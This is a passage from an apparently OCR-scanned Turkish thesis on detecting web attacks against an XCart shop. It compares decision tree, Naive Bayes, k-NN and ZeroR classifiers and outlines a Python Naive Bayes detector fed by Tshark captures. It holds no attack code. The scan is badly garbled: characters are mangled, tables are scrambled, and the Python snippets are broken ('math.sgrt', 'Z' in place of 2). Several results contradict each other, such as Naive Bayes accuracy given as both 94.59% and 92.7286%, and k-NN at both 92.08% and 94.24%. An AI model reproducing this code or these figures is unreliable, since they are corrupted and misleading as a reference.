| | | | | | | | tep.dstport <= 80.0: saldiri (122.0/33.0)

| | | I | | | |  tep.dstport > 80.0: normal (49.0/16.0

| | | | ip.src != 10.100.86.125

| | | 1 |  urlencoded-form.key = enabled,itemsList,xcart_form id,by_descr, inventory,caf]
| | | 1 | urlencoded-form.key != enabled,itemsList,xcart_form_id,by descr,inventory,cd
L I L L . I i =10 100 8g 14c. 110

Sekil 7.1. Olusturulan karar agacinin bir boliimii
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Karar agaci algoritmasi kullanilarak olusturulan siniflandirma modelinin siniflandirma
basaris1 % 88.0264 olarak oOlclilmiistii. Bu oran, normal sartlar altinda siniflandirma
islemleri i¢in iyi sayilabilecek bir oran olmakla birlikte, kritik web uygulamalarinin
giivenligini saglayacak bir saldir1 tespit sisteminde i¢in yeterli olmayacagi diisiiniilmektedir.

Karar agact modelinin olusturulmasi 0.06 saniye almaistir.

Olusturulan karar agacinin siiflandirma basarisina iliskin basarim oranlar1 Cizelge 7.1°de

verilmistir.

Cizelge 7.1. Karar agac1 siniflandirma modeli basarim 6l¢iitleri

- Kok
Ortalama Goreli .
Mutlak Gorece
Kappa Hata Karesel Mutlak Karesel
Dogruluk Hata Istatistigi Hata (Root Hata
(Mean . Hata (Root
(Accurancy) Oram (Kappa mean (Relative .
et absolute relative
statistic) squared absolute
error) squared
error ) error)
error)
% 88,02 % 11,97 0,7584 0,1693 0,293 % 33,95 % 58,67

Karar agaci modeline iligskin karigiklik matrisi Cizelge 7.2°de, F-0lgiitli degerleri ise Cizelge

7.3°de goriilmektedir.

Cizelge 7.2. Karar agaci siniflandirma modeli karisiklik matrisi

Tahmin Edilen Simif
Sinif: Normal Sinif: Saldirt
Gercek Simif | Sinif: Normal 2027 118
Smif: Saldir 371 1568

Cizelge 7.3. Karar agaci siniflandirma modeli F-6l¢iit degerleri

R?t)e FP Rate | Precision | Recall F-Measure | ROC Area Class
0,945 0,191 0,845 0,945 0,892 0,949 normal
0,809 0,055 0,93 0,809 0,865 0,949 saldirt
Agirhkh 0,88 0,127 0,809 0,127 0,886 0,88
Ortalama
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7.2. Naive Bayes Siniflandirma Modeli

Naive Bayes siniflandirma algoritmasi olasilik ve istatistige dayali bir algoritmadir. Her
ozelligin ayn1 derecede dnemli oldugu ve birbirinden bagimsiz oldugu kabul edilmektedir.
Olusturulan veri seti ile Naive Bayes istatistik temelli algoritma ile olusturulacak modelin
egitiminde ve test edilmesinde kullanmak tizere 6grenme ve test kiimelerinin olusturulmasi

islemi iki yontemle de ayr1 ayr1 gerceklestirilmistir.

[k yontemde veri setinin %66’ s1 6grenme i¢in, geri kalan kismi ise modelin test edilmesinde
kullanilmigtir. Bu yontemle siniflandirma modelinin olusturulmas: 0.01 saniye almstir.
Zaman agisindan iyi bir performansa sahiptir. Naive Bayes siniflandirma modelinin veri
setindeki nesnelerin yaklasik 2/3” i ile egitilmesi ve 1/3” lik kismui ile test edilmesi
sonucunda siniflandirma basaris1 % 92.7286 olarak oOlgiilmiistiir. Olusturulan ilk Naive
Bayes modelinin siniflandirma basarim performansina iliskin olarak siniflandirma dogruluk
oranlar1 Cizelge 7.4’de, karisiklik matrisi Cizelge 7.5°de, F-6l¢iitlerine iliskin deger ise
Cizelge 7.6°da goriilmektedir. Bu siniflandirma modeli ile test kiimesi olarak segilen 1380
nesneden 1288’ ini yani %92.72’ sinin smif etiketini dogru tahmin ederken, 101 tanesinin

yani % 7.27’ sinin siif etiketini yanlig tahmin etmistir.

Cizelge 7.4. Naive Bayes siiflandirma modeli basarim oranlar1 (Basit Dogrulama)

Dogruluk Hata Kappa Mutlak Ortalama Goreli Kok Gorece
Oram Oram Istatistigi Hata Karesel Hata | Mutlak Hata | Karesel Hata
% 92,72 % 7,27 0,8537 0,0993 0,21 % 19,89 % 43,72

Cizelge 7.5. Naive Bayes siiflandirma modeli karisiklik matrisi (Basit Dogrulama)

Tahmin Edilen Simif

Sinif: Normal Sinif: Saldiri
Gercek Simif | Simif: Normal 713 6
Sinif: Saldiri 95 575

Cizelge 7.6. Naive Bayes siiflandirma modeli F-6l¢iit degerleri (Basit Dogrulama)

1;1; It)e FP Rate Precision | Recall | F-Measure | ROC Area | Class

0,992 0,142 0,882 0,992 0,934 0,996 | normal

0,058 0,08 0,99 0,858 0,919 0,996 saldiri
grgt;rlgl:nl; 0,927 0,077 0,934 0,927 0,927 0,996
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Naive Bayes istatistiksel siniflandirma algoritmasi kullanilarak olusturulan ikinci yontemde,
ogrenme ve test kiimesinin olusturulmasinda N katli ¢capraz gecerlilik yontemi kullanilmig
olup N degeri 10 olarak belirlenmistir. Bu yontem ile veri setinde bulunan tiim nesneler 6nce
10 kiimeye ayrilmaktadir. Ogrenme ve modelin test edilmesi 10 adimda tamamlanmaktadr.
Her adimda bir kiime test i¢in kullanilirken diger kiimedeki nesneler 6grenme isleminde
kullanilmaktadir. Bir sonraki adimda test kiimesi degistirilerek, veri setinde bulunan tiim
nesnelerin hem 6grenme hem de test asamasinda kullanilmasi saglanmaktadir. Bu yontemle
modelin olusturulmasi 0.02 saniye siirmiistiir. Olusturulan modelin siniflandirma basarimina
iligkin olarak basarim oranlart Cizelge 7.7°de, karisiklik matrisi Cizelge 7.8’de, F-Olgiit

degerleri ise Cizelge 7.9°da goriilmektedir.

Cizelge 7.7. Naive Bayes siniflandirma modeli basarim oranlar1 (10 katl1)

Dogruluk Hata Kappa Mutlak Ortalama Goreli Kok Gorece
Oram Oram Istatistigi Hata Karesel Hata | Mutlak Hata Karesel Hata
%94.59 %5.41 0,8911 0,0816 0,1893 %16.36 %37.91

Cizelge 7.8. Naive Bayes siniflandirma modeli karisiklik matrisi (10 katli)

Tahmin Edilen Simif
Sinif: Normal Smf: Saldiri
Gergek Simif | Sinif: Normal 2112 33
Smf: Saldiri 188 1751

Cizelge 7.9. Naive Bayes siniflandirma modeli F-6l¢iit degerleri (10 katlr)

R];It,e FP Rate | Precision | Recall F-Measure | ROC Area | Class
0,985 0,097 0,918 0,985 0,95 0,996 normal
0,903 0,015 0,982 0,903 0,941 0,996 saldirt
Agirhkh 0,946 0,058 0,948 0,946 0,946 0,996
Ortalama

Cizelge 7.4’de goriilecegi iizere bu yoOntemle olusturulan smiflandirma modelinin
siiflandirma basaris1 diger yonteme gore % 1,86 artmis ve % 92.7286 olarak tespit
edilmistir. Modelin siniflandirmasina iliskin dogru pozitif (True Pozitive - TP) oran1 yani
saldirilar1 dogru tanimlama oran1 0.946 gibi yiiksek ve iyi bir degere sahipken, normal web
trafiklerini saldir1 olarak etiketleme orani yani yanlis pozitif (False Pozitive) orani1 0.058 gibi

cok diisiik ve 1yi bir degere sahiptir.
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7.3. K-en Yakin Komsu Algoritmasi

K-en yakin komsu algoritmasi, k degerine bagli olarak yeni gelen bir {iyeyi en yakin oldugu
gruba dahil eden algoritmadir. Secilen k degeri siniflandirma basarisini ¢ok etkilemektedir.
Eger k degeri cok kiigiik secilirse olusturulan model ¢ok etkilenmekte, ¢ok biiyiik secilirse
tim verilerin tek sinifa atilmasi problemi ortaya ¢ikmaktadir. Uzaklik hesaplanmasinda
Oklid uzaklig1, Manhattan uzaklig1 gibi problemin uygunluguna gore kullanilabilecek gesitli
uzaklik hesaplama fonksiyonlar1 bulunmaktadir. Bu smiflandirma isleminde Oklid uzaklig

kullanilmistir.

K-en yakin komsu algoritmasi veri setinde bulunan toplam 4084 nesne i¢in “k” parametresi
1 den 10 kadar degistirilerek 10 adimda egitim islemi gerceklestirilmistir. Ogrenme kiimesi
icin veri setindeki nesnelerden %66°s1 rasgele secilmistir. Test kiimesi iginse veri setinde
geriye kalan %34 kisim kullanilmistir. Cizelge 7.10°da goriilecegi iizere K-en yakin
algoritmasinin siniflandirma basarisi k degerine bagli olarak, k degeri artik¢a diismektedir.

Diistik k degerleri i¢in daha iyi bir siniflandirma basarisina sahiptir.

Cizelge 7.10. k degerine bagli olarak siniflandirma performansi

k=1 k=2 k=3 k=4 k=5 k=6 k=7 k=8 k=9 k=10

Dogruluk

(Accurancy) % 94,24 92,08 91,57 90,92 90,71 90,49 90,13 89,41 88,98 88,12

Kappa Istatistigi 08842 | 08405 | 08303 | 08172 | 08129 | 08085 | 08013 | 07869 | 07782 | 07609
(Kappa statistic)

Mutlak Hata (Mean

0,0735 0,0991 | 0,1075 | 0,1159 | 0,1215 | 0,1272 | 0,1343 | 0,1433 0,151 0,1605
absolute error)

Karakok Ortalama
Hata (Root mean 0,2 0,2289 | 0,2367 | 0,2441 | 0,2491 | 0,2531 | 0,2593 | 0,2676 | 0,2737 | 0,2817
squared error )

Goreli Mutlak Hata
(Relative absolute 14,733 19,8537 | 21,5475 | 23,235 | 24,3491 | 25,4933 | 26,9065 | 28,7185 | 30,2671 | 32,1686
error)%

Kok Gorece Kare
Hata (Root relative 40,0048 | 45,7888 | 47,362 | 48,8474 | 49,8293 | 50,6463 | 51,8865 | 53,5467 | 54,7678 | 56,3519
squared error) %
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K-en en yakin komsu algoritmasinin web saldirisinin siniflandirmasinda, k degerine bagh

olarak dogru siniflandirma basarisinin degisimi Sekil 7.2’de goriilmektedir.

94
93
92
91
90
89
88
87
86
85

Siniflandirma Basarisi %

k=1

95 94,2405

k=2 k=3

Dogruluk (Accurancy) %

k=4 k=5 k=6
k degeri

90,9287
90,7127 90,4968

90,1368

k=7 k=8

89,4168

Sekil 7.2. K-en yakin komsu algoritmasinin k degerine bagli siniflandirma basarisi

K-en yakin komsu algoritmasinin k=1 iken siniflandirma oranin %92,0806 ile en yiiksek

deger oldugu goriilmektedir. Onemli bir performans gostergesi olan kappa degeri, k degerine

bagl olarak degismekle birlikte, bire yakin iyi bir deger aldig1 goriilmektedir. . K-en yakin

komsu algoritmasi kullanarak modelin olusturulmasi 0.01 saniye almistir. Zaman agisindan

1y1 bir performansa sahiptir.

Bu algoritmanin en iyi simiflandirma basarisina sahip oldugu durumdaki (k=1 iken)

karisiklik matrisi Cizelge 7.11°de, F-0l¢iitleri degerleri ise Cizelge 7.12°de goriilmektedir.

Cizelge 7.11. K-en yakin komsu karigiklik matrisi

Tahmin Edilen Simif

Gercek Simif

Sinif: Normal

Sinif: Saldirt

Sinif: Normal

719

0

Simif: Saldiri

80

590
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Cizelge 7.12. k=1 iken F-0l¢iit degerleri

1;1;1 lt)e FP Rate | Precision | Recall | F-Measure | ROC Area | Class
1 0,119 0,9 1 0,947 0,99 normal
0,881 0 1 0,881 0,937 0,99 saldirt
Agirhkh 0,942 0,062 0,948 0,942 0,942 0,99
Ortalama

Olusturulan modelin genel olarak siniflandirma basarisi iyi olmakla birlikte, normal trafigin
siiflandirmasinda ¢ok iyi iken saldiri trafiklerinin bir kismimi normal trafik olarak
siniflandirmistir. Bu durum kritik web uygulamalarinin korunmasi sirasinda istenmeyecek

bir durumdur.

7.4. ZeroR Algoritmasi

Bu algoritma ¢ok basit bir siniflandirma algoritmasidir. Veri setinde bulunan tiim siniflarda
en ¢cok nesneye sahip olan smif belirlenerek, gelecek olan tiim nesnelerin bu sinifa ait oldugu
kabul edilir. Normalde boyle bir simmiflandirma modelinin uygulamada kullanimi pek
miimkiin degildir. Bu algoritmanin asil amaci kendisinden daha karmasik olan siniflandirma
algoritmalarinin daha iy1 bir siiflandirma basarisina sahip olacagi varsayimi ile diger
simiflandirma algoritmalarinin performansin1 degerlendirme de kullanilmaktadir. Bazen
ZeroR algoritmasindan ¢ok daha karmasik olan algoritmalar, ZeroR algoritmasindan daha

kot siniflandirma performansina sahip olabilmektedir.

ZeroR algoritmasi ile siniflandirma sonucunda veri setinde bulunan tiim nesneler, en ¢ok
nesneye frekansina sahip olan “normal” smifina atanmistir. ZeroR algoritmas: ve 10 katl
capraz dogrulama ile olusturulan 6grenme modelinin dogru siniflandirma basarist % 52,52
olarak Ol¢iilmiistiir. Bu deger aym1 zamanda “normal” etiketli nesnelerin veri setindeki
bulunma frekansina esittir. ZeroR algoritmasi ile modelin olusturulmasi 0,01 saniye
stirmiistiir. ZeroR algoritmasi ile olusturulan modele iliskin siniflandirma basarim 6lgiitleri
Cizelge 7.13°de, karisiklik matrisi Cizelge 7.14’de, F-Olgiit degerleri Cizelge 7.15°de

gosterilmistir.
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Cizelge 7.13. ZeroR smiflandirma modeli basarim oranlar1 (10 katli)

Dogruluk Hata Kappa Mutlak Ortalama Goreli Kok Gorece
Oram Oram Istatistigi Hata Karesel Hata | Mutlak Hata Karesel Hata
%52,52 %47,48 0 0,4987 0,4994 %100 %100

Cizelge 7.14. ZeroR smiflandirma modeli karisiklik matrisi (10 katlr)

Tahmin Edilen Simif
Sinif: Normal Siuf: Saldirt
Gercek Simf | Simif: Normal 2145 0
Smf: Saldiri 1939 0

Cizelge 7.15. ZeroR smiflandirma modeli F-6l¢iit degerleri (10 katl)

RTa lt)e FP Rate | Precision | Recall F-Measure | ROC Area Class
1 1 0,525 1 0,689 0,499 normal
0 0 0 0 0 0,499 saldir1
()Argt;rlgﬁg 0,525 0,525 0,276 0,525 0,362 0,499

7.5. Modellerin basarim performanslarinin karsilastirilmasi

Web saldir trafiginde ve normal web trafiginden olusturulan veri seti ile model olusturma
ve test etme islemleri gerceklestirilmistir. Model olusturma islemlerinde kullanilan
algoritmalarin siniflandirma basarimlar1 ve diger basarim ol¢iitleri yukarida aciklanmistir.

Bu boéliimde olusturulan siniflandirma modellerinin birbiri ile kiyaslamasi yapilacaktir.

Dogru smiflandirma basarisina gére en 1yt smflandirma islemini  yapan
algoritmanin %94,59 liikk dogru siniflandirma orani ile Naive Bayes algoritmasi oldugu tespit
edilmistir. Naive Bayes siniflandirma algoritmasindan sonra k-en yakin komsu siniflandirma
algoritmasi da k=1 i¢in % 94,24 ile iyi bir smiflandirma basarisina sahiptir. Karar agaci
algoritmasinin dogru siniflandirma basaris1 % 88,02 de kalmistir. Budama isleminin
yapilmadigi durumlarda daha yiiksek bagsarim oranlarina ¢ikilmakla birlikte aga¢ boyutunun
asir1 artig1 ve birgok yaprakta tek bir nesnenin bulundugu bir agag¢ yapisi olusmustur. ZeroR
algoritmasi en kotii siniflandirma basarisina ve performansina sahip algoritma olmustur. Bu

durum diger algoritmalarin kullanilabilir oldugunu gostermektedir.
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Siiflandirma modellerinin dogru siniflandirma basarimlari agisindan performans degerleri,

kolay karsilastirma yapilabilmesi amaciyla Cizelge 7.16’da birlikte gosterilmektedir.

Cizelge 7.16. Siniflandirma modellerinin siniflandirma basarilari

Ortalama| Goreli Kok
Dogruluk | Hata Kappa Mutlak Gorece
L L. Karesel Mutlak
Oram Oram | Istatistigi | Hata Karesel
Hata Hata
Hata
Karar
Agaci 88,02% | 11,97% 0,7584 0,1693 0,293 33,95% | 58,67%
Naive
Bayes 94,59% 5,41% 0,8911 0,0816 0,1893 16,36% | 37,91%
KNN 94,24% 5,46% 0,8842 0,0735 0,2 14,733 40,0048
ZeroR 52,52% | 47,48% 0 0,4987 0,4994 100% 100%

Smiflandirma modellerinin F-6lgiit degerleri agisindan basarim degerleri birlikte olarak

goriilebilmesi i¢in Cizelge 7.17’de gosterilmistir.

Cizelge 7.17. Simiflandirma modellerinin F-6l¢iit degerleri

TP Rate FP Rate Precision Recall F-Measure ROC Area
Karar 0,88 0,127 0,809 0,127 0,886 0,88
Agaci
Naive 0,946 0,058 0,948 0,946 0,946 0,996
Bayes
K-NN 0,942 0,062 0,948 0,942 0,942 0,99
ZeroR 0,525 0,525 0,276 0,525 0,362 0,499

Zaman performansi agisindan karsilastirma tablosu Cizelge 7.18’de verilmistir. Buna gore

k-en yakin kosu ve ZeroR algoritmalart en hizli smniflandirma performansina sahiptir.

Smiflandirma modelinin olusturulmasinda en ¢ok vakit alan algoritma karar agaci olarak

belirlenmistir. Bununla birlikte tiim algoritmalarin model olusturma siirelerinin kabul

edilebilir oldugu degerlendirilmektedir.



Cizelge 7.18. Modellerin olusturulma siireleri
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Karar Agaci

Naive Bayes

K-En Yakin Komsu

ZeroR

0.06 sn.

0.02 sn.

0.01 sn.

0.01 sn.

Yukaridaki degerlendirmelerin yani sira mevcut veri setinde bulunan nesnelerin sayisi her

adimda %10 azaltilarak ilgili 4 veri madenciligi algoritmasinin siniflandirma performanslari

Olciiliip kaydedilmistir. Bu islemin sonucundan 4 siniflandirma algoritmasina iliskin dlgiilen

dogru siiflandirma basarim oranlar1 Cizelge 7.19°da gdsterilmektedir.

Cizelge 7.19. Algoritmalarin veri miktarina gore dogru siniflandirma basarimlari

%100 %90 %80 %70 %60 %50 %40 %30 %20 %10
Nesne 4084 3675 3267 2858 2450 2042 1633 1225 816 408
Sayisi
Karar | 98802 | %88,19 | %87,63 | %86,84 | %85,51 | %85,16 | %81,93 | %8097 | %79,77 | %72,79
Agaci
Naive | 949459 | 993,82 | %91,81 | %91,81 | %91,02 | %90,64 | %87,99 | %85,63 | %84,80 | %76,22
Bayes
K-NN | %9424 | %97,67 | %95,94 | %96,81 | %95,79 | %95,59 | %95,77 | %94,77 | %92,64 | %89,95
ZeroR | 752,52 | %53,74 | %50,73 | %5298 | %54,50 | %52,88 | %53,45 | %54,44 | %53,79 | %76,22

Veri madenciligi algoritmalarinin kullanilan veri setindeki nesne sayisina bagli olarak

siniflandirma basarilar1 grafiksel olarak Sekil 7.3°de gosterilmistir.

ALGORITMALARIN SINIFLANDIRMA

BASARILARI

—&— Karar Agaci Naive Bayes K-NN ZeroR
. 100,000%
721 y <
& % o ¢ ¢ v v g
% 80,000% e v
wr
g 60,000%
<
= 40,000%
=4
2 20,000%
= :
-
= ,000%
E 10% 20% 30% 40% 50% 60% 70% 80% 90% 100%
170}

VERI MiKTARI

Sekil 7.3. Algoritmalarin veir miktarina bagli olarak siniflandirma basarimlari
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Kappa istatistigi (Kappa statistic):

Iki veya daha fazla gdzlem arasindaki etkilesimi dlgmek igin kapa istatistigi (veya kapa
katsayis1) en bilinen yontemdir. Kappa, iki veya daha fazla gozlem arasindaki uyusmanin
biiyiikliigiinii nicel olarak gdstermek i¢in gelistirilmis istatistigi bir 6l¢iimdiir. Kappa degeri
-1 ile I araliginda degerler almaktadir. Bu degerler gézlemler arasindaki baglantinin oranini
gosterir. Kappa istatistiginin en biiyiik deger olan 1’1 aldig1 durumlarda gozlemler arasinda

miikemmel bir uyugsmanin oldugu séylenebilmektedir [39, 79].

Algoritmalarin veri miktarindaki degiseme bagli olarak Kappa istatistigindeki degisim

sayisal olarak Cizelge 7.20°de, grafiksel olarak Sekil 7.4’de gosterilmistir.

Cizelge 7.20. Algoritmalarin veri miktarina bagl olarak Kappa istatistik degerleri

%100 %90 %80 %70 %60 %50 %40 %30 %20 %10

Nesne 4084 3675 3267 2858 2450 2042 1633 1225 816 408
Sayisi

Karar | 07584 | 0,7604 | 0,7493 | 0,7336 | 0,7067 | 0,7004 | 0,6334 | 0,6117 | 0,5906 | 0,4414
Agaci

Naive | 08911 | 0.8749 | 0,8929 | 08342 | 0818 | 08108 | 7337 | 0.7048 | 0,6897 | 0,5065

Bayes

KN | 0.8842 | 0,9532 0.9189 | 09358 0,9147 | 0,9111 0,9146 | 0,8937 | 0,8508 | 07941

ZeroR | O 0 0 0 0 0 0 0 0 0




ALGORTIMALARIN KAPPA iSTATISTIKLERI

—&— Karar Agaci == Naive Bayes === K-NN ZeroR

KAPPA ISTATISIIGi

10% 20% 30% 40% 60% 50% 60% 70% 80% 90% 100%
VERi MiKTARI

Sekil 7.4. Algoritmalarin veri miktarina bagli olarak Kappa istatistiklerindeki degisim
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8. SALDIRI TEPIT SISTEMININ GELiSTiRILMESI

Olusturulan veri setinde tlizerinden, 4 farkli veri madenciligi algoritmalari kullanilarak farkli
modeller olusturulmus ve modellerin smiflandirma basarimlart ve performanslari
degerlendirilmistir. Bu degerlendirme sonucunda, ilgili Xcart web sitesine yonelik eszamanli
calisan bir web giivenlik duvar1 modelinin Naive Bayes istatistiksel tabanli siniflandirma

algoritmasi kullanilarak gerceklestirilmesine karar verilmistir.

Ilgili modiil Python programlama dili kullanilarak gelistirilmistir. Bunun sebebi python
programlama dilinin platform bagimsiz ¢alismasi ve esnek ve hizli bir yapiya sahip

olmasidir.

Gelistirilen program genel olarak iki ana yapidan olusmaktadir. Ilk yap: ilgili veri seti
kullanilarak modelin yeniden olusturuldugu ve egitildigi yap1, ikinci yap1 ise web sunucunun

oniine konumlandirilarak gelen web trafiginin bu model araciligiyla siniflandirildigi yapidir.
8.1. Naive Bayes Algoritmasinin ile Modelin Olusturulmasi

Python programlama dili ile Naive Bayes siniflandirma algoritmasinin olusturulmasi igin
veri setinde bulunan 6zelliklerden string ve nominal degerlere sahip olanlar bir fonksiyon
aracilif1 ile sayisal degerlere cevrilmistir. Bunun sebebi ¢ok sayida parametre ve bu
parametrelere iligkin uzun string deger gonderimleri yapildigi i¢in, bunlarin program
tarafindan karsilastirilmalart  bellek ve islemci zamani agisindan c¢ok maliyet
gerektirmektedir. Bu sebeble bir web uygulamasinda es zamanl olarak saldir1 tespitinde
onemli gecikmeler meydana gelecek, sistemi yavaglayarak ve kullanilamaz hale gelecektir.

Veri setinde bulunan tiim 6zellikler integer degerler ile degistirilmistir.

Ikinci adimda &zellik sayis1 bilinen bu veri setine yonelik olarak Naive Bayes algoritmas1

kodlanmigtir. Bu adim genel olarak altt adimda tamamlanmustir.

Verilerin alinmasi

Bu adimda veri seti bir ‘.csv’ dosyasindan yiiklenerek i¢indeki degeler iki boyutlu bir diziye

aktarilmigtir. Bu dizinin ilk boyutu integer iken, ikinci boyutu liste 6gelerinden olugmaktadir.
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Ilk boyutta sirayla alman nesnelerin index numaralari tutulurken liste dgesinde ise bu

nesnenin Ozellikleri tutulmaktadir.

Sonrasinda ise veri seti 68renme ve test kiimelerine boliinmektedir. Bu islemde veri
setinin %66 s1 6grenme verisi i¢in geri kalan %34’ i ise test islemi i¢in ayrilmaktadir. Bu
islem sirasinda nesneler rasgele se¢ilmektedir. Bundan dolay1 program her ¢alistirildigimda
O0grenme ve test kiimesinde bulunan veriler degistigi i¢in simiflandirma basarasida
degismektedir. Istenilirse 6grenme kiimesi ve test kiimesi dnceden ayr1 ayr1 olusturularak

siiflandirma basaris1 her zaman sabit tutulabilir, fakat bu yontem tercih edilmemistir.

Verilerin Ozetlenmesi:

Naive Bayes algoritmasi istatistiksel bir siniflandirma algoritmasi oldugu icin, 6grenme
kiimesinde bulunan nesnelerden 6zelliklere iligkin ve bu 6zelliklerin sinifa katkisina iliskin
olarak belli istatistiksel sonuclar ¢ikarmakta ve bunlar1 tahmin ederken yeni nesne i¢in
kullanmaktadir. Bu nedenle olusturulan 6grenme kiimesine iliskin olarak baz1 istatistiksel

degerlerin hesaplanmasi ve bazi islemlerin yapilmasi gerekmektedir.

Verilerin 6zetlenmesine iligkin olarak yapilan islemler sirasiyla asagidaki gibidir.

e Nesnelerin siniflarina gére ayrilmasi

e Ortalama hesaplanmasi

e Standart sapma degerinin hesaplanmasi
e Veri setinin 6zetlenmesi

e Smiflara gore veri setinde bulunan 6zelliklerin 6zetlenmesi

Ortalama hesaplama adiminda her bir smif i¢in her bir 6zellige iliskin olarak ortalama
degerinin hesaplanmas1 gerekmektedir. Ortalama hesaplama isleminde ‘Gaus dagilimr’
kullanilmistir. Ayn1 zamanda bu adimda her bir smif i¢in her bir 6zellige ait standart
sapmanin hesaplanmasi gerekmektedir. Ozelliklere iliskin standart sapmalarin hesaplanmasi
islemi varyansin karekokii olarak gergeklestirilmistir. Program tarafindan ortalama ve

standart sapma degerlerinin hesaplanmasi1 Sekil 8.1°de goriilmektedir.
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1 import math

def ortalama (degerler):
return sum(degerler)/float(len(degerler))

(
—{J

standart sapma (degerler):

avg = ortalama (degerler)

varyans = sum([pow(x-avg,2) for x in degerler])/float(len(degerler)—l)
10 return math.sqgrt (varyans)

]
et
o}

0}
Hh

Sekil 8.1. Ortalama ve standart sapmanin hesaplanmasi

Tahmin Yapilmasi:

Ozetlenmis olan veri setini kullanarak tahmin yapilmasi miimkiin hale gelmistir. Bu adimda
verilen nesnenin hangi sinifa ait oldugunu tahmin etmek i¢in olasilik degerlerinin
hesaplanmas1 gerekmektedir.

Olasilik degerlerinin hesaplanmasi asagidaki islemler ile gergeklestirilmektedir.
e Gaus olasilik yogunluk fonksiyonun hesaplanmasi
e Smif olasiliklarinin hesaplanmasi
e Tahminde bulunulmasi

e Tahmin dogrulugunun tespit edilmesi

Olasilik hesaplama islemine ait program kodu Sekil 8.2’deki gibidir.

1 import math

N

a
exponent = math.exp(—(math.pow(x—ortalama,Z)/(2*math.pow(standart_sapma,Z))))

[Tdef olasilikHesaplama (x, ortalama, standart_sapma):
return (1 / (math.sgrt (2*math.pi) * standart_sapma)) * exponent

0o W

8 import math

S5 [ldef olasilikHesaplama(x, ortalama, standart_ sapma) :
10 exponent = math.exp(—(math.pow(x—ortalama,Z)/(Z*math.pow(standart_sapma,Z))))
1 return (1 / (math.sqgrt (2*math.pi) * standart_sapma)) * exponent

Sekil 8.2. Program tarafindan olasiligin hesaplanmasi

Bu islemeden sonra siniflara ait olasiliklar benzer sekilde hesaplanmakta ve bu olasilik

degerlerinden faydalanilarak tahmin islemi gerceklestirilmektedir.
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Siiflandirma dogrulugunun bulunmasi:

Bu adimda test kiimesinde bulunan tiim nesnelere iliskin olarak birer tahmin islemi
gergeklestirilmekte ve test kiimesinde bulunan nesnelerin ger¢ek smif etiketleri ile

karsilastirilarak siniflandirmanin dogru yapilip yapilmadigi belirlenmektedir.

Bu isleme ait program kodu Sekil 8.3’deki gibidir.

dogruSayisi = 0

for x in range(len(testRumesi)) :
— if testRumesi[x][-1] == tahminler[x]:
- dogruSayisi += 1

3 ! [idef dogruluguBul (testRumesi, tahminler):

- return (dogruSayisi/float(len(testRumesi))) *

100 ~
LUV .V

Sekil 8.3. Simniflandirmanin dogruluk degerinin hesaplanmasi

Bu adimlarla Naive Bayes algoritmasinin 6grenme ve tahmin kismi tamamlanmaktadir.

Programin tiim kodlar tezin ekinde mevcuttur.
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Sekil 8.4’de Naive Bayes siniflandirma programina iliskin akis diyagrami goriilmektedir.

Basla

Veri Setini Al

Veri Seti Bol

A

Ogrenme
Kiimesindeki Veriler
icin Ozetler Cikar

A

Test Kiimesindeki
Nesnder Icin Tahmin
Smflanm Ata

Dogru
Smmflandirma
Basansm

Sumf Etiketleri Dogru
Tahmin Edilmis mi?

Sekil 8.4. Naive Bayes siniflandiriciya ait akis diyagrami
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8.2. Gelistirilen Modiil Ile Web Trafiginin Simiflandirilmasi

Bu adimda olusturulan Naive Bayes siiflandiriciya web sitesine gelen web isteklerinin,
programin ¢alistigi  formatta doniistiiriillerek gonderilmesi ve tahmin yapmasi

amaglanmaktadir.

Trafigin izlenme islemi yine Tshark araci ile yapilmaktadir. Gelen trafikler anlik olarak bir
dosyaya kaydedilmektedir. Sonrasinda python dili kullanilarak bu veriler sayisal degerlere
doniistiiriilerek Naive Bayes siniflandirictya gonderilmekte ve tahmin sonucu sistem
yOneticisi tarafindan okunabilmesi amaciyla, tarih ve zaman verileri ile birlikte baska bir

dosyaya kaydedilmektedir.
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Anlik olarak web trafiginin izlenmesi ve saldirilarin tespit edilmesine yonelik gelistirilen

sistemin c¢aligmasina iliskin akis diyagrami Sekil 8.5 de gosterildigi gibidir.

Basla

y

A 4

Anlk olarak web
trafigini izle ve
dosyaya kaydet

Dosyadaki
kayit

sumfland ricrya

uyarl

y

Nesneicin 6zet
bilgilerini cikar ve
olashkhesapla

Nesneye en uygun
sinif etiketini ata

Saldin trafigini Evet
log dosyasina yaz

Saldirinm ?

Haywr

Sekil 8.5. Gelistirilen STS’ nin ¢alismasi
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9. SONUCLAR VE TARTISMA

Web uygulamalarinin kullanimi giinliik is ve islemlerin devami agisindan vazgecilemeyecek
bir noktaya gelmistir. Glinliik hayatin ve is hayatinin 6énemli bir boliimii internete bagh
olarak ve web uygulamalarini araciligiyla hizmet alarak, hizmet saglayarak ya da islerini
web uygulamalar araciliyla yaparak gegmektedir. Bu sebeple giiniimiiz de hizmet saglayan
her tiirlii kurum ve kurulusun internet ortamina bakan bir yiizii ve hizmeti mevcut hale
gelmistir. Saldirganlar agisindan web uygulamalarini ve bilgilerin ele gecirilmesi hem maddi
hem de manevi olarak 6nemli motivasyonlar barindirmaktadir. Bu sebeple her gecen y1l web
uygulamalarina gerceklesen saldir sayist artmakta, yeni saldir1 teknikleri kesfedilmekte ve
saldirlar daha karmasik ve sofistike hale gelmektedir. Bu sebeple web uygulamalar
araciliftyla hizmet veren, 6nemli bilgilerini bu ortamda saklamak zorunda olan hizmet

saglayicilarin bu web uygulamalarinin giivenligini saglamalar1 gerekmektedir.

Web uygulamalarinin giivenliginin saglanmasinda cesitli yontemler ve araglar mevcuttur.
Bir web uygulamasinin giivenliginin tek bir yontem veya aracla saglanmasi kesinlikle
miimkiin degildir. Bu sebeple giivenlik saglamanin ¢esitli yontemleri mevcuttur. Tek basina
bir glivenlik duvar ile sadece aga ve web sunucusuna gelen trafik kontrol edilebilir, bu
trafigin ne igerdiginin kontrolii saglamak i¢in web uygulama giivenlik duvar1 (WAF) denilen

birlesimi de olabilmektedir.

WAF’ lar web uygulamasina gelen saldirilar1 tespit etmede genel olarak iki yontem
kullanmaktadir. Bilinen saldirilara iliskin saldir1 6zelliklerinin imza haline getirilip
saklanmas1 ve gelen bir web trafiginin bu imza tabanina bakarak tespitini saglayan imza
tabanli saldir1 tespit sistemi. Digeri ise daha 6nce gelen web saldirilar1 kayitlar: araciligiyla
saldirilar1 6zelliklerini &8renip olusturdugu model ile siniflandiran anomali tabanl saldir1

tespit sistemidir.

Bu tez caligmasinda dncelikle olusturulan agik kaynak kodlu Xcart e-ticaret sitesine yonelik
olarak otomatize araglar ile normal web trafigi ve saldir1 web trafigi olusturularak
